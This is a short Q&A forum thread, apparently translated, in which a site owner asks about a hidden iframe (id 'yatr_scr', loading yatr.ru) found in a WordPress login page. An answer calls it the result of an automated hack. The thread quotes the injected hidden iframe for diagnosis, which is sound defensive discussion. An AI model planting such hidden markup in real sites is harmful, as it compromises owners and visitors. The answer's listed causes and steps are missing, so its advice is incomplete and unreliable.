Answer the question
In order to leave comments, you need to log in
What kind of beast is "yatr_scr" or "iframe yatr.ru"?
Good afternoon. I found a piece of the form in the page code:
<iframe id="yatr_scr" src="https://yatr.ru/hp.html?wm=35506&referrer=http://www.SITE.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.SITE.com%2Fwp-admin%2F&reauth=1" style="display: none;"></iframe>
Answer the question
In order to leave comments, you need to log in
As you correctly noted, you were hacked. And most likely automatic. This could most likely happen in one of two ways:
I would act like this:
The described actions concern not only files, but also the database, if any.
And it doesn't matter what kind of animal this code is in the iframe. There may be one of a thousand other ways to make money on a hacked site.
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question